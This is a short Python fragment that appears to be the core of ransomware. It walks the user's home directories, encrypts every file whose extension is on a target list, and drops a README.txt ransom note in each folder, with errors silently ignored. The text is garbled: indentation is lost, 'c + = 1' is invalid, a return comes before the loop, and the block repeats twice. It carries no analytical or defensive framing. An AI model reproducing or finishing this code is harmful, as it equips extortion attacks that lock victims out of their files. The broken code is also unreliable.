def get_target ():
# Get user home:
return str (Path.home ()) + '/'
try:
for x in dirs:
target = p + x + '/'
for path, subdirs, files in os.walk (target):
for name in files:
for i in ext:
if name.endswith (i.lower ()):
try:
encrypt_file (os.path.join (path, name), key)
c + = 1
except Exception as e:
pass
try:
with open (path + '/README.txt', 'w') as f:
f.write (message)
f.close ()
except Exception as e:
pass
except Exception as e:
pass # continue if error
# Get user home:
return str (Path.home ()) + '/'
try:
for x in dirs:
target = p + x + '/'
for path, subdirs, files in os.walk (target):
for name in files:
for i in ext:
if name.endswith (i.lower ()):
try:
encrypt_file (os.path.join (path, name), key)
c + = 1
except Exception as e:
pass
try:
with open (path + '/README.txt', 'w') as f:
f.write (message)
f.close ()
except Exception as e:
pass
except Exception as e:
pass # continue if error